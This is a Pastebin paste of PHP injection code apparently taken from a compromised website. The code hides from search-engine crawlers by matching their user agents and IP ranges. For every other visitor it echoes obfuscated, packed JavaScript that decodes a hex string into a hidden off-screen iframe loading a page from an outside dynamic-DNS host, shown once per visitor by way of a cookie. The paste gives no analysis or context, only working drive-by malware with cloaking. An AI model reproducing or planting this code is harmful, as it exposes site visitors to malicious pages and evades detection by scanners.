Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. error_reporting(0);
  2. $bot = FALSE ;
  3. $user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
  4. $stop_ips_masks = array(
  5.     array("216.239.32.0","216.239.63.255"),
  6.     array("64.68.80.0"  ,"64.68.87.255"  ),
  7.     array("66.102.0.0",  "66.102.15.255"),
  8.     array("64.233.160.0","64.233.191.255"),
  9.     array("66.249.64.0", "66.249.95.255"),
  10.     array("72.14.192.0", "72.14.255.255"),
  11.     array("209.85.128.0","209.85.255.255"),
  12.     array("198.108.100.192","198.108.100.207"),
  13.     array("173.194.0.0","173.194.255.255"),
  14.     array("216.33.229.144","216.33.229.151"),
  15.     array("216.33.229.160","216.33.229.167"),
  16.     array("209.185.108.128","209.185.108.255"),
  17.     array("216.109.75.80","216.109.75.95"),
  18.     array("64.68.88.0","64.68.95.255"),
  19.     array("64.68.64.64","64.68.64.127"),
  20.     array("64.41.221.192","64.41.221.207"),
  21.     array("74.125.0.0","74.125.255.255"),
  22.     array("65.52.0.0","65.55.255.255"),
  23.     array("74.6.0.0","74.6.255.255"),
  24.     array("67.195.0.0","67.195.255.255"),
  25.     array("72.30.0.0","72.30.255.255"),
  26.     array("38.0.0.0","38.255.255.255")
  27.     );
  28. $my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
  29. foreach ( $stop_ips_masks as $IPs ) {
  30.     $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
  31.     if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
  32. }
  33. foreach ($user_agent_to_filter as $bot_sign){
  34.     if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
  35. }
  36. if (!$bot) {
  37. echo "<script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('r n(5){3 b=\'w\';3 c=h e();k(3 i=0;i<x;i++){c[b.f(i>>4)+b.f(i&u)]=t.q(i)}6(!5.s(/^[a-v-9]*$/i))o y;6(5.g%2)5=\'0\'+5;3 l=5.g;3 7=h e();3 j=0;k(3 i=0;i<l;i+=2){7[j++]=c[5.A(i,2)]}o 7.z(\'\')}6(8.m.C(\'p=d\')==-1){8.B(n(\'D\'));8.m=\'p=d\'}',40,40,'|||var||data|if|result|document|||b16_digits|b16_map|enabled|Array|charAt|length|new|||for|ll|cookie|hDcd|return|cookieh|fromCharCode|function|match|String|15|f0|0123456789abcdef|256|false|join|substr|write|indexOf|3c646976207374796c653d22706f736974696f6e3a206162736f6c7574653b206c6566743a202d3139393270783b20746f703a202d3239393570783b223e3c696672616d652077696474683d22333022206865696768743d22343022207372633d22687474703a2f2f627a6b6566712e7a796e732e636f6d2f6d61696e2e7068703f706167653d63363962643032653933653639353763223e3c2f696672616d653e3c2f6469763e'.split('|'),0,{}))</script>";
  38. }